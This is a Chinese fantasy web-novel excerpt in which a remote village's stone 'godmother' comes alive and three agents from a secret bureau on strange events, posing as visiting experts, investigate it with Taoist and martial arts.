《凡尘档案》
1. 出事了
时间:贰零零肆年
嘭!嘭!嘭!
一个消瘦的男子依靠在木门上用力拍门,一脸焦急像是发生了什么大事,不时的扭头向后张望。
吱呀!
门开了,开门的是一个灰衣麻布的老人,刚开了一条缝,消瘦男子就像一头蒙眼野猪,一个劲的往屋内拱。
“哎哟!摔死我了!”
消瘦男子撞上老人,两人结结实实的摔到了地上,老人发出一声痛呼。
“李长健,你干嘛嘞!给我起开。”老人怒喝道。
李长健像是没有听见般,不仅没有起身,四肢胡乱挥动,不时打在老人身上。
老人见状收腿护头,寻了个空子,用力一蹬,把李长健踹开两三米。
看到还没回过神来,老人翻身起来,从门边随手捡了根棍子,架压住双手,整个人顺势坐到他身上。
啪!啪!啪!
老人左右开弓,结结实实扇了几个耳光后,李长健的眼神清澈不少,没了挣扎的力气。
“长健!醒醒!长健~”
听到呼喊,李长健的眼中逐渐有了焦距,他一个激灵回过神来,就看到了旁边的老人。
“村长!不好了!徐透撑筋了!”
李长健慌张的喊道,丝毫没注意到老人不动声色的退到一米开外。
“你说啥嘞,别急,别急,慢慢说!我在嘞!”
村长安慰道,脚下不停又走了两步。
听到安慰,李长健也没有那么慌乱了。
这时他才注意到自己瘫倒在地上,全身火辣辣地疼着。
“嘶~痛!痛!痛!”
他不由地吸了口冷气,牵扯到了脸上的肌肉,不禁痛呼出声。
“村长!村长!”
“一大清早的,吵吵囔囔的,有什么事不能好好说。”
回屋拿了瓶药酒,刚出来,村长就听到李长健大喊,没好气的将一密封 竹筒药酒丢到李长健身上。
“先擦擦,莫急嘛!”
这里是燕国西南方的一个小山村——山珍村,地偏人稀,遍地荒山野林。
山珍村距离最近的县城都有一百来里路,属于旮旯村中的旮旯村,偏得不能再偏,村里的青壮年大多的都出去打工了。
留下的人除了种地自给自足外,主要收入就是到山里找山货,日子也算过得有滋有味。
“村长,李大拐干娘成~成精了!”
“瞎说什么咧!李大拐哪来的干娘,还成精!”
话毕,村长吸了口烟,将烟枪放在桌上。
“村长,我说的都是真的,他那石头干娘真的成精了~”
“嗯!咳~咳~咳~”
一口烟还没呼完,听到李长健的话,村长被烟气呛到了、
认干娘(爹)在这里是很常见的习俗,村里人为了孩子能够健康平安的长大,都会给刚出生的孩子认个干娘(爹)。
不过一般人的干娘(爹)都是人或牲畜,人还好说,牲畜没等到孩子成年可能就老死了。
李大拐的情况特殊,他家里给他认了块石头做干娘,说是让他命硬点,能健健康康长大。
这也是村长一时之间没想起来的缘故。
好一会才缓过劲来,村长连忙追问。
“石头成精?你可不要胡说!”
李长健一听急了,连忙说道。
“村长,我能骗你吗?我可是亲眼看到的,今天没亮……”
事情还有从前两天开始说起。
前两天连下了两日的大雨,天空中电闪雷鸣不断,到了昨天傍晚才停歇。
被大雨浸润后的泥土松软,最容易出菌,一些平常时候难挖的山珍也可以趁这个时候去挖,能得到更好的品相。
大雨过后,村里人都不会错过这个机会,都会趁这个时候进山,对李长健来说亦是如此。
别人的机会是在山里,李长健的机会却是在李大拐身上。
当然,让李长健做那些狠辣的事情他是没这个本事的,他也只会顺手牵羊、占便宜、打秋风。
除了逢年过节的日子外,没有节日的日子,李大拐都会在月末带只三五斤的大肥鸡进山祭拜干娘。
这个月没有节日,月末过半,李大拐都没杀鸡,紧接着接连下了两天雨,估摸着就是这两天上山祭拜。
果不其然,
早早定好闹钟的李长健,天刚蒙蒙亮,他就看到了李大拐背个背篓进了山,背篓里还有一个大盒子。
李大拐前脚刚走,李长健后脚就到了那石头干娘附近,他躲在远处,等待着对方祭拜离开,再去过去顺手牵羊。
刚下过雨,山里雾气朦胧,远远只能看到人影,等到李大拐祭拜离开,雾气已经散去大半。
李长健没走两步,就看到在肥鸡前面盘坐着一道人影,周围有几块碎石,那人影还似笑非笑的盯着他。
看着他胆寒!!!
……
“凡事要讲科学,你就是心思没用到正道上!”
村长恨铁不成钢的说道。
都是村里的人,低头不见抬头见的,李长健什么品性大家都清楚。
“谁没用到正道上!村里谁不知道我最热情!”
“呵呵!”村长笑笑不语。
“好了,你先回去,这几天先不要进山了,收收你的心思,回去煮点骨头汤,去去寒气,别感冒发烧了。”
村长将李长健送出门,关上大门后,回到屋内,拿起烟枪深深吸了一口。
唉!
麻烦!
看李长健的样子不像是在说谎,等会找个人一起进山看看情况。
村长忽然想起什么,从屋里到大门来回走了两趟。
“……”
李!长!健!
罢了!
也就是一瓶药酒,量不多!
……
临近中午,
村长和一麻子脸的中年男子从山里出来。
“二麻子,报备的事情就交给你了。”
“放心吧,村长。”二麻子认真道。
村里和外界的联系靠座机,这年头的通讯费可不便宜。
二麻子是驻村治安员,配了一台公家的座机,对公电话能免通讯费。
两人分开后,村长一个人在村里溜达。
说是村子,也就是四处散落的三十四户人家,都是战乱年代躲到这里的,有一条泥土路通向外面。
村长在路口站了一会,往东南角的一栋陈旧的二层砖房走去。
说起来这房子是村里的第一栋建起来的二层砖房,通向村外的那条泥土路也是因此才扩建的。
没扩建之前,这泥土路能走人就不错了,哪里能像现在这样有四五米宽。
或许是年纪大了,回忆多了些,村长心中感慨。
走得近了,村长看到二层砖房那升起一道细长的炊烟。
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迟哥家这么会有烟气?
看到这烟,他不由加快了脚步。
临近了,看到烟气是从厨房方位升起的,不由松了口气。
一阵微风轻抚,带来清脆悦耳的轻灵声。
噔~叮~滴~叮~
迟哥回来了?
听到这清脆悦耳、悠扬动听的风铃声,村长脸上涌起一抹喜色,快步走到门前。
门没锁!
村长推开门,进入院内。
院子内有辆越野车,更远处是厨房,厨房内有一道身影背对门口。
“迟哥儿~”
村长激动地喊了声。
“诶!”
那道身影转过身来,隔着空窗看向门口。
“村长!你怎么来了!”
那人从厨房快步走出,人还未至,声先到。
“村长,您怎么来了,您慢点~,院子落叶多,刚下过雨,可别摔咯!”
迟哥儿本名叫燕迟,今年二十四岁,因为岗位调整,休假一个月。
迷茫的他不懂去哪,想回村看看。
院子早上刚清扫出一条能走人的过道,燕迟走到村长旁搀扶。
“我还没到走不动道的年纪,用不着你。”
村长拒绝他的搀扶,燕迟没强求,带着村长进到客厅。
“村长你先坐,先喝口水润润嗓子,快到饭点了,留下来吃饭吧,菜快好了,等一会我们边吃边聊。”
燕迟倒了杯茶水递给村长,转头又进了厨房。
他好久没有自己做菜了,手法有些生疏,但经验还在,倒也不慌。
“迟哥儿~,你这做菜的手艺越做越回去了,你难得回来一趟,还是来尝尝我的手艺。”
村长不知什么时候搬了把椅子坐在厨房门口。
燕迟脸上有些囧,他这盘菜还不错啊,不就是焦了点嘛,又没黑!
但说这话的是村长,他的厨艺都是村长教出来的,是他的师傅。
就像是关公门前耍大刀,让师傅吃退步后的手艺确实是有点尴尬。
村长是个行动派,直接过来就上手了,厨房的菜和调料都是现成的,重新做一份新的也很快。
这房子村长一直很上心,每个月都要自己或者喊村里人来清理一遍,同时检查电路、电器。
厨房的调料都是未开封的,每次保质期还剩半年就会换新的备着。
刀具工具更不用说了,轮换着在村长家使用,屋里的被褥、碗筷杂物什么的每个季度都会清洗一遍。
屋子有人气才能长久,这也是为何燕迟一回来就能住的缘故。
“迟哥儿~,啥时候回来的,都不去看看我这老头子。”
“这次回来住多久啊,家里缺啥,我让长健给你送来。”
村长一边做着菜,熟练地切肉片、姜丝、蒜末,一边和燕迟拉起家常,长健经营杂货铺,主要卖些日常用品 。
“前两天刚回来,一回来就连下了两天的大雨,今天刚放晴,打算吃完饭就去看您的。”
燕迟在一旁说道,他想搭把手,但村长嫌他退步厉害,帮忙帮倒忙,拉低菜的水平,不许帮忙,只能观摩学习。
两个人就在厨房拉拉家常,唠唠嗑,多是村长在说,他在听,不一会功夫,就捣鼓出了三菜一汤。
吃完饭,燕迟将村长送出家门,还想多送一阵,村长不让,说是有这功夫还不如先打扫院子里的落叶。
……
2. 专家来了。
在狭窄的泥土路上,一辆带棚子的改装皮卡蹦蹦跳跳的前进。
“酒窝你慢点,开慢点。”后排一个大汉大声喊道。
开车的是一名面容姣好的女子,嘟嘟脸,身材平平无奇。
她不耐烦地说道:“已经很慢了,要不车给你,你来开。”
“别!”
“别管他,他就是个混不吝,说话当放屁就行。”
后排大汉还没说话,副驾驶的男子就慌忙说道。
他受够了这大汉开车,别人开车靠技术,大汉开车靠八字,脚踩油门就是干!
这种泥土路本来就不好走,到处坑坑洼洼的。
刚开始是他自己开车,其他两人嫌弃技术差开得慢,然后大汉接过驾驶权。
没开出三公里,冲出路面十次,其中撞进路边草丛四次,冲进荒地五次,最后一次掉进田里,还好不高,有两三米高差。
“你们不想开,可以给我开。”
“不行!”
女子和大汉同时反驳,小命没了就没了,但痔疮不能有。
“要不是和尚嘴臭,这一次任务都轮不到我们来做。”女子吐槽道。
“什么叫我嘴臭,我就是就事论事,什么人呐,还说不得了。”
大汉愤恁道,
“那新所长上来就是这不行那不行的,一堆框框道道,七八年了大家都是这么过的,刚上位就显得他很能耐是的。”
“我可不想捧他的臭脚,要捧你们捧。”
三人来自816所(全称:略!),816所是燕国中的特殊部门,汇聚了很多能人异十,专门处理全国各地的奇异事件。
开车的女子叫宋应星,副驾驶的男子叫顾念海,后排大汉叫做房德,三人是一个小队,按照之前的排位算,前面还有好几个队伍才轮到他们出任务。
“不打傻,不打蠢,专打不长眼,人家新官上任三把火,你非要在会议上给他上眼药,你不穿小鞋谁穿小鞋。”
女子对那新所长也有所不满,但她不会不分场合。
“塞翁失马焉知非福,你们就知足吧,出来跑任务总比待在所里舒服,这把火刚烧起来我们就能躲了出去,其他小队指不定多羡慕。”
女子和大汉闭嘴沉默了,两人都不傻,留在所里固然很好能趁机和新所长拉近关系,一应好处自不用多说。
但三人有一个算一个都不是那块料,无他,过不去心里的坎。
非要硬选一个,那还不如出任务。
都是两条眉毛一张嘴,谁又比谁高贵?呵!
一路颠簸自是不提,三人一车终是到达了目的地——山珍村村口。
“终于到了!”
大汉迫不及待的下了车,随意活动下身子,响起一阵噼噼啪啪的声音。
副驾驶的男子下了车,依靠在车门从怀中掏出一个盒子,盒子盒子是一副眼镜,带上眼镜后,他才看清四周的景象。
女子下了车,简单活动一下手脚,随后看向顾念海。
“这里的接应人呢?眼镜,打电话联系一下。”
顾念海点点头,打开车门从车上取出一个方正的长条盒子,开始捣鼓起来。
这玩意是卫星电话,是他们的装备之一。
在联系接应人的同时,宋应星也没闲着,开始检查车况。
一番检查下来,车辆很脏都是泥渣、泥灰外,没有什么毛病,车厢上的副油箱接近满油,没有漏油的风险。
“先在这里等一阵,过一会就有人来接了。”顾念海走过来说道。
宋应星看了看周围,看到房德正舒服的躺在路边的一块石头上。
“那便有树荫,先到那里等一下。”
她说的正是房德待的地方,那里有几颗大树,树下还有几块大石头,其中有块方正的石头上刻着山珍村,还有红油漆上色了。
那里位置很好,正好适合临时休息。
“嗯!”
顾念海点点头,两人一起向树荫下走去。
另一边村长家。
滴~滴~滴~
刺耳的喇叭声在屋外响起。
听到喇叭声,村长像是想到了什么,简单收拾一下就走出门来。
其实也没有什么好收拾的,就是换了件干净的的衣服,洗了把脸。
刚打开门,就听二麻子坐在摩托车上喊道。
“村长,快上车,上面来人了。”
“来了来了。”
村长回应道,坐上了后座,二麻子等人坐稳,一拧油门车就开了出去。
一周前,二麻子上报后,到了三天前才有答复传来,说是过两天上面会来人看情况。
村口。
“来人了。”
闭目躺在石头上的大汉耳朵颤了颤,忽地说道。
紧接着,其余两人和大汉一同站了起来,看向村内方向。
这年头联系不方便,饶是有卫星电话,也绕了一个大圈子,等了半个小时。
三人站起来没到半分钟,就看到摩托车‘露头’了。
“村长,那三个人就是上面来的人了吧。”
“应该是,等靠近了问问看。”
即便内心隐隐有了猜测,但村长话没说满,给自己留了点余地。
摩托车稳稳停在三人面前。
“诸位,我是这里的村长,欢迎大家来到山珍村?”
王二麻子刚将车停稳,村长就下了车,来到三人面前。
“你们是从城里来的吗?”
等待回复的时候,村长打量着三人,内心暗暗评估。
最左边是膀大腰圆的大汉,长得方正,一脸横肉,看上去就太好说话的样子,肩上还有一个黑色双肩包。
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中间是名女子,面容姣好,嘟嘟脸,扎了个单马尾,看上去很干练,就是平胸屁股窄,长的差了些。
右边是戴眼镜的男子,是三人中最高的,面容清秀,有点小帅,身材偏瘦,带着圆框眼镜,穿着长衣长裤,看上去像个老师。
“村长您好,我们是治安局的专家,专门到村里处理这次的事情,这是我们的证件。”
女子说着,掏出了三本黑色封皮的小本本递给村长。
证是真的,系统里也是能查到的,816所外出执行任务时,全部以专家(顾问)名义来执行任务。
这年头的专家名头很好用,特别是对这种小山村来说,无疑是降维打击。
村长分不清证件的真假,将证件递给王二麻子得到肯定的回复后,还回证件时脸上多分笑容。
“原来是城里的专家,大家远道而来辛苦了,几位专家先到住处休息休息,村里给大家准备了洗尘宴。”
“都是我们的一番心意,希望大家不要嫌弃。“
村长脸上的笑容就没听过,笑起来的皱纹能夹死几只蚊子。
“村长客气了,我叫宋应星,左边这个是房德,右边的是顾念海。直接喊我们名字就行。”
随着宋应星介绍,大汉和眼镜男都很客气,没有半点城里人的“傲气”。
一番寒暄后,村长坐上摩托车带着三人前往村里的住处。
简单的左拐右拐左拐,一行人来到村委会。
说是村委会,其实就是一栋平顶砖房,外加一个大操场。
平顶砖房只有一层,共有五间房子,只有一间是村长用来办公的,其余房子都是空的。
其余房子平时都有维护,倒也没有什么灰尘。
至于床铺什么的,都是现成的,每年收获的时候,这大操场都会承担晒谷子粮食的任务,村民都会留人在房子内暂住,直到带走谷子粮食。
来到村委会,村长带着三人看了看房间,从房间内的木柜中取出了陈旧带有樟脑丸气味的被子、蚊帐等物件。
“各位专家,村里条件有限,还请将就将就。”村长不好意思地说道。
“村长客气了,这里的居住条件比某些旅馆都要好很多。”
宋应星是女子,留意到的细节更多,这些东西陈旧,但很干净,
虽然上面随处可见到使用的痕迹,在拿出来的时候,却没有缝补、异味和灰尘,可见使用和保管它的人是多么的在意。
她一个女子都不在意,另外两个更不在意了。
“宋专家客气,俺们是粗人,有什么照顾不到的还请多多指点。”
村长说道,转头就对二麻子嘱咐道。
“二麻子,你在这里陪着专家,有什么问题你来和我说。我先去安排一下洗尘宴。”
和三人知会后,村长匆匆离开了村委会。
3. 震惊的专家们
距离三人到来,已经是第二天。
早上七点多,村长和王二麻子就来到村委会了。
“村长,我们走吧。”宋应星说道。
事情经过在昨天的洗尘宴上了解得差不多了,今天三人打算到现场勘察一番。
三人都换上了宽松的长衣长裤,做好了上山的准备。
“二麻子,愣着干啥嘞,还不帮专家提东西。”
村长拍拍二麻子肩膀示意道。
三人中需要拿东西的就大汉一人,他背着黑色双肩包,脚旁还横着一个行李箱。
“嗯!噢!”
二麻子点点头,快步走到大汉身旁说道。
“专家,我来帮你拿这个行礼箱。”
他一边说着,一边伸手抓向箱子上的把手,大汉没阻止,嘴角勾起一丝笑意。
箱子有半米高,宽三十公分,长八十公分,通体银白色,皮箱与把手的连接处是以锁链链接的。
二麻子抓住把手,抬手一提。
嚓!
锁链响起清脆的摩擦声,瞬间绷到极限。
嗯?
箱子纹丝不动,反倒是二麻子整个人被带了个踉跄。
肯定是我刚刚大意了,再来!
二麻子心中想到,随即双手抓在把手上,一同使劲。
“呐!”
皮箱抬起了几厘米。
“还是我来吧!”大汉朗声说道。
二麻子没吱声,黝黑的脸庞快速涨红,很显然光是拉起这皮箱就用了全力。
大汉伸出脚尖到皮箱下,用劲一挑,皮箱跃起半米多高。
手一伸一握,皮箱易主,他的手代替了二麻子的手抓住了把手。
“走吧!上山!”顾念海说道。
“嗯!好!”村长不自觉的应道,
他还沉浸在刚刚那一幕中,那皮箱有多重他不知道,但对二麻子还是很了解的。
一个年仅三十的青年小伙,手提肩抗个百八十斤上山下坡不是问题,今天刚提个箱子脸都涨红了,肯定是这箱子有问题。
“二麻子,你腿脚好,你来带路!”村长指挥道。
村里就这么一个有官身的,多在专家面前露露脸,等专家回到城里,夸上那么一两句,那二麻子就发达了。
要是二麻子能当个所长,山珍村也是出大官了啊!
村长心中想到,在他心里所长已经是大官了。
一转眼,五个人就这么进山了。
二麻子走在最前面,手里抓着一根木棍东敲西打的,驱赶这山道旁可能存在的蛇虫鼠蚁。
顾念海和宋应星走在中间,两人一路上左看看右看看,像是踏春郊游般闲适。
最后面的是大汉房德和村长,村长找了根木棍当拐杖,一路走下来出了一身汗。
而旁边的房德,好似感受不到身上的负重,不仅一点汗没出,路上还有余力给他搭把手。
简直壮得像头牛,村长内心感叹道。
那皮箱也不简单,光是外壳就是金属材质,而且还挺厚,锁链和皮箱连接处没有半点形变。
“专家们,我们快到了。”二麻子喊道,
“就在前面的那堆石头那。”
他指着山顶的一处位置说道,那里的树木要稀疏些。
一行人一鼓作气赶到乱石堆。
“村长,王治安员,你们先休息会,剩下的工作交给我们就行。”
顾念海说道,其余两人默契的各自行动起来。
乱石堆凌乱地散落着大块的石头,小的有一两米大,大块的有两三米,高低错落。
宋应星跃上一块一米来高的石头,灵巧地像只猴子,在大石头上来回穿梭着。
房德将皮箱抛向顾念海,二麻子看到这一幕,连忙出声阻止。
“使不得啊!那~”
话没说完,他就看到顾念海稳稳抓住皮箱,看向他。
二麻子硬生生咽下未说完的话,尴尬地笑着,
“专家你们忙,你们忙,我是和村长商量回去吃啥嘞,嗯!是商量下一顿饭呢。”
说着,不忘碰碰一旁的村长。
“嗯,对对对。专家,你们忙,不用管我们。”
顾念海和房德没有理会两人的小动作,一个提着皮箱向乱石中心走去,一个向着一颗粗壮大树走去。
“村长,这些专家个个不像人!”二麻子对着村长嘀咕道。
“不是人,难道是妖怪!”村长翻了个白眼,“人家是有本事的人,说了是专家专家,能和我们这些村里人一样?”
二麻子点点头,认同了村长的说法,城里的专家就是不一样。
村长心里舒了口气,暗道算是糊弄过去了,这些个专家到底是个什么来头,个个深藏不漏,强的简直不像人。
要是比耕地,村里的牛能不能耕得过嘞?
村长的思维越发的发散……
“村长,村长~”二麻子小声叫道。
“啊!又咋的啦!”村长回过神来问道。
“专家这几天的饭菜咋整?”
两人在昨晚已经商量定好了招待的规格,除了第一顿洗尘宴外,后面的逐渐会趋于正常。
简单来说村民吃啥,专家吃啥,顶多加个肉。
看到专家们的本事后,两人的想法有了些许改变。
话说三人组。
顾念海走到了石堆中心,在中心位置,盘坐着一个石人。
可以清晰地看到石人盘膝打坐,双掌左下右上交叠置于腹部,五官清晰可见,头发顺着身体垂落到地面。
顾念海将箱子搁在一旁的石头上,前后左右打量一番石人,没看出后天雕琢的痕迹后,倒吸了一口冷气。
“遇上一个大家伙!”
这样的石人简直要成精了,好在石人的眼睛是闭合的,没有睁开,要不他都想跑路了。
“房德,应星,你们过来看看。”
“来了。”X2
两人回道,不一会就来到顾念海身旁。
“我了个无量、世尊,这尊大神也是我们这几个细胳膊细腿能碰的?”
房德看到一米二高的盘膝石人不淡定了,有些结巴地说道。
而一旁的宋应星也没好到那里去,面露呆滞,整个人都有些站不稳,眼看就要倒下,顾念海见状搀扶住了她。
顾念海没有再出声,现在唯一能做的就是等待情绪平复下来。
好半响,众人才缓过神来。
“队长,你打算怎么做。”宋应星出声问道。
这已经不是三人能自行决断的事情了。
“先探查一番,看看情
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况,动手前先上报,看看上面的意思。”
听到顾念海这么说,房德和宋应星均舒了一口气。
他们也是这么想的,这么一尊大神,真要让他们解决,就像让奔波霸去解决唐僧师徒一样戏谑。
“说说你们刚刚探查的情况吧。”顾念海说道。
两个队友一喊过来就被吓住,显然是有了些发现。
“我先说!”X2
两人异口同声道,房德和宋应星对视一眼后,他退让了。
“你先说吧。”
“周围这些石头的痕迹还很新,应该都是出自同一块石头,像是受到什么力量影响,炸开成现在这个样子。”
宋应星意有所指地说道,她透露出的信息很惊人。
她有一个特殊的能力,能通过双眼测绘然后在脑海中建模推演。
“房德,到你了。”
宋应星示意道,她要说的已经说完了。
“周围的树木有雷击的痕迹,以石人为中心,周围的树枝都被劈断了。”
“在我看来那些被劈断的树枝是被波及的。”
说着他用脚在地上画了个圆,脚尖在圆中心点了点,就差直说这雷劫是石人招来的。
宋应星抬头望天,这里已是山顶,只看到一片蓝天。
三人陷入了沉默。
“我再去周围看看。”
房德说着,大步离开,他受不了这压抑的气氛。
嗯?
顾念海皱眉,看向房德走过的地方。
他扫开上面的落叶,看到了几根细小的红色短棍。
这是?
香!
这些短棍有新有久,新的还有残余的红色,旧的腐朽不堪,近乎成泥。
这石人还有人祭拜?
“房德,探一下石人的底。”顾念海把房德喊回来。
“好!”
“你试试能不能请动大神。”顾念海指挥道。
只见房德简单活动了一下手脚,说了声得罪了,随即低喝一声,双手按在石人肩上,用力一推。
石人纹丝不动。
他又往石人左侧走了两步,肩膀靠在石人后肩处,用力一顶。
没顶动!
紧接着走到右侧又重复这般操作,石人仍然毫无反应。
“生根了!”房德咧嘴说道,不断地活动着两边的肩膀。
他抓过箱子,放到平坦齐腰的石头上,依次按动箱子前面左右上的开关,打卡箱子取出几根半米长,暗银色的金属棍子,金属棍子彼此之间能够相互连接。
不一会,房德就组合出了八根长四米,一头尖一头平的长棍。
“方位!”房德抓着一根棍子问道。
“石人面朝方向为正东南!”顾念海说道。
房德闻言闭目,片刻后,他睁开双目,目若铜铃,手中的金属长棍向地面斜刺进去。
四米长的棍子,刺进土里就是没入水中般容易,转瞬间只剩下了一米的长度。
紧接着跨出一步,又是一根长棍斜刺进地面,这次仅余半米。
后面六根皆是如此,八根长棍没入位置的倾角、距离石人的位置接不一致。
房德回到正东南方位的金属长棍前用力一弹,半息后,所有长棍齐鸣,颤动。
……
4. 九窍石人
401、402、403……顾念海默默在心中计数。
房德这手秘技唤作望气观龙术,以内息震荡长棍,通过长棍之间的震动频率观测事务的状态。
他曾在一次内部考核中,以此法在一宗大型构件上准确无误探查出七道暗伤。
要知道,那可是长宽高皆是在十米开外的一体浇筑构件啊。
450~
“这石头和山连在一起,圆满无缺!圆满无缺!”房德突然惊呼道,
说完这句话之后,他整个人瘫软在地上,豆大的汗珠止不住的从体内跳出来。
此刻,顾念海和宋应星已无暇去顾及房德的情况,他们已经被这个消息震惊到了。
圆满无缺的石人!
圆满无缺并非是指石人已经达到了完整、圆满的状态,在这里是指这石人仍然与这座大山气机相连,前路未断,仍可继续成长。
就好比一个孵化中的鸡蛋,在鸡仔刚成型时蛋壳就破碎了,而这鸡仔却未受到影响,一边享受着蛋壳包裹所提供的无菌环境,一边还能接受外界的食物一样离谱。
这石人和他们的预想不符,原先他们猜测这尊石人是“早产儿”,先天不足的它需要日精月华补足自身底蕴。
而现在,坐在他们眼前的竟然是一尊‘圆满无缺’的石人。
这意味着他们面对的麻烦不仅仅是面前的石人,还有脚下的……大山。
咕噜!
宋应星艰难地咽了口唾沫,一想到还要面对一座大山整个人都不好了。
这个世界中以人为尊,人的形态便是先天道体的形态,山精野怪普遍以修成“人”视为得道。
一般的风水宝地,能孕育出的的精怪石像也就是爬虫走兽所属,如蛇、蟾蜍、虎、象之流。
能孕育石人,无一不是顶级的风水宝地,只有这样巍峨壮阔的山川地势才能供给石人日常蕴养所需。
而他们所要面对的就是这么一座大山。
呼!
顾念海深深地吐出一口浊气,连声呼喊着身旁的宋应星,
“应星!应星!……应星!”
“没事……啊!怎么了?”宋应星回过神来应道。
“你去找村长他们问问,这香是什么情况,平时有人来这里祭拜吗?”
顾念海示意脚下的细小红棍说道,他一眼就看出来这是最廉价的线香,数量不多,部分已经腐朽,看得出来祭拜的人不多。
“好。”
看着身影远去,房德从地上爬起走到顾念海身旁轻声道。
“趁她走远了,要做啥赶紧做。”
他可不相信这石人真就无暇!真干起来,石人又没长腿,打不了还跑不了吗!
顾念海点点头,从一旁的箱子里取出一长条木质盒子,盒子打开后,映入眼帘的是一条红色硬纸,再底下是用三根金色丝带扎好的长香。
揭开硬纸将香取出,每根香都有成年人小拇指粗细,长达半米,呈乌金色。
顾念海将长香放到一旁,重新将红色硬纸小心的放回盒内,最底层还有三根用符篆包裹的赤金色长香,妥善固定好后,才将盒子放回箱子中。
点香!
他将三根香捻于手中,开口道。
“道门修者顾念海,号明空,见过石人前辈,今受国命而来,失礼之处还望石人前辈见谅。”
话毕三拜!
上香,将香插在石人身前一步之地。
青烟袅袅,烟柱凝而不散,扶摇直上。
三股烟柱临近石人口鼻时,竟分作七股涌入石人口、鼻、眼、耳,共计七窍之数。
像是石人对着长烟深深吸了一口般,七个窍孔只进不出,看得两人又惊又喜。
惊的是这石人已经生了灵智,神异非常,观其模样,已然生了七窍,甚至是八窍也是可能的。
喜的是石人有需求,至少不像看上去那么圆满……
顾念海和房德对视一眼,从对方的眼中看到一抹后怕。
他们方才行为不亚于关公门前笑关公,已经在鬼门关前晃荡一遍,还好他们心中的邪念不重,也幸亏石人没有计较。
若是计较则不食烟火供奉,只求身死债消,即便上所有的山精野怪皆是如此。
一会功夫后,三根长香燃烧殆尽。
在最后一股烟柱吸入七窍后,约过九个呼吸,石人口中吐出一道暗浊的灰气。
看到灰气的瞬间,顾念海和房德脸色一变,一人反手盖上箱盖,将欲跑走,一人则冲着插进土里的八根长棍而去。
“诶!你别跑那么快啊!帮我拔两个棍子。”房德连忙喊道。
顾念海闻声回骂。
“都什么时候了,还计较这几棍破棍子,你不要命了!”
他嘴上虽骂着,手上脚上却一点没慢,左手拎着箱子冲着最近的棍子跑去,到了位置,右手抓住棍子,一把将其从土里扯了出来。
紧接着又到抓上另一根棍子,手臂用力,再扯出一根,便扭头向乱石堆外跑去。
“别管剩下的棍子了,小命要紧,别犯傻!”顾念海喝道。
他一步踏上大块的碎石,在碎石堆上直线式的跳跃奔跑,房德也紧随其后,拖着数根长棍叮叮当当跑着。
“应星,情况紧急,拎着村长和治安员跑出去,跑出碎石堆,往高处跑!”顾念海大喊道。
在碎石堆边缘处的三人听到后,反应不一。
拎着跑?
不应该是带着跑吗?
就在村长和二麻子困惑时,突然发现腰间一紧,双脚离地了。
“啊啊啊啊!!!”X2
他们愣着,宋应星可没愣,她一手一个,抓着两人的腰带将平举起来,快步向外跑去。
五个人顺着坡往高处跑出五十多米才停下来大口喘着粗气。
村长和二麻子虽不用自己跑,可心扑通扑通地缓不下来。
一个女人拎着两大男人,仅用了七八秒就跑了五十多米,太吓人了……
“发生什么事了,跑……跑那么急!”宋应星不解的问。
顾念海和房德没有说话,还在大口地喘着粗气。
她扭头向着碎石堆看去,明明是开天窗的地,却是显得有些昏暗,有一团灰雾笼罩在那里,灰蒙蒙的看不真切。
宋应星揉了揉眼睛,再看过去时,那团灰雾像是失去支撑,如流水般瘫倒向着低处流淌。
这是……地煞浊气?
!!!
你们做了什么?
宋应星凝视二人,要求给出一个解释。
顾念海轻轻摇头,示意这里不合适说这个。
地煞浊气极为难缠,善污五气六识,寻常人哪怕沾染上一星半点,轻则浑浑噩噩,懵懂无知,重则痴痴傻傻,口涎不止。
对有修为的人来说,这地煞浊气如同砒霜毒药,一旦沾染上,需三五年时间日夜勤勉洗练修为,将这浊气排出体外。
“等过几个再下去,那时候应该散得差不多了。”顾念海安排道。
“嗯。”X2
“村长,王治安官现在不要下山,会走背时运的。”房德一脸坏笑的提醒道。
山里人最信这个,你说毒蛇蚊虫凶猛,他们高低要去试试,但你说走背运,霉运连连什么的,看都不多看一眼。
原本还在抱团瑟瑟发抖的两人瞬间精神了,连连摇头。
“不下,不下。”
“专家,你是了解俺的,你说东俺绝不往西,你要抓狗,俺绝不撵鸡。”
……
三人不禁莞尔。
了解你?
相识没到一天,谈的都是公事,就这么熟络了?
真会说漂亮话。
村长看到三人点点头没有反驳,他的眼底浮现出一抹喜意。
“祭拜石人有进展了,我敢说这个消息绝对劲爆。”
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宋应星神秘兮兮的说道。
顾念海督了她一眼,应星做事向来稳重,除非……
他看眼瘫软在地的抱团二人组。
“卖啥关子,俺什么大场面没见过,直接说出来听听。”
房德大声嚷道,他向来直来直往,没那么多弯弯绕绕。
“我也好奇是什么个情况。”顾念海说道。
“嘿嘿。”宋应星偷笑,:“说出来吓你们一跳”
“村里有个人认这石人做干娘!”
!!!
什么!
这消息宛若旱地生雷,直接把两人劈得外焦里嫩,半响说不出话来。
抱团二人组对房德、顾念海的反应很不解,这不是稀松平常的事情吗?
到底是知识限制了眼界,殊不知他们眼中的这件平常事,在三人眼中是多么的离谱。
认干娘和石人单拎出来都能让人接受。
可结合在一起,就,就很离谱。
打个比方就是,一个普通的凡人孙子认了压在五行山下的齐天大圣做干爹一样离谱,偏偏孙大圣还认下了这个孙子。
“那人还活着不?”房德脱口而出说道。
认干娘(爹)可不是随便就能认的,哪怕是单方面认定,冥冥之中也会有一股气运落在身上,若是压不住,被这股气运反噬是很常见的事情。
若是干爹和本人都同意这层关系,气运此时便是助力,是动力,但也有特殊情况,若是双方位格差距过大,就像是牛车安上了火箭发动机,那么结果只会出现一边倒的情况——车毁牛亡。
随即他感觉到一股莫名恶意笼罩在他的身上,恶意的来源赫然便是这座山。
他顿时脸色一变,当即朝着石人方向跪下。
啪,啪!
嘭!嘭!嘭!
房德左右开弓给了自己大嘴巴子,又连磕了三个响头,嘴里念念有词的说道。
“山神爷爷。”
恶意更重了!
嘭!嘭!嘭!
“山神在上,您大人不计小人过,我说话不过大脑,随口瞎说乱说的,请您不要计较。”
恶意散去少许。
“我知道错了,我绝对对那人没有恶意,请您见谅!”
嘭!嘭!……嘭!
接连又磕了九个响头,恶意再度散去大半。
“山神在上,下山之后,我一定给你摆一桌大十八做赔礼,不会去干涉那人的生活。”
房德信誓旦旦的保证道,恶意盘旋一会后,悄无声息的散去了。
呼!
太吓人了!
房德抹了把头上的冷汗,瞪着那始作俑者。
宋应星毫不在意,房德这长嘴该好好治治,这次正好让他涨涨记性。
她自觉分寸拿捏得当,才在这时候提起这件事情,要解决石人问题避不开村长,早晚知道影响不了大局。
石人目前看来能算得上善灵,若是心怀鬼胎,顾念海和房德就直接在地煞浊气上栽大跟头。
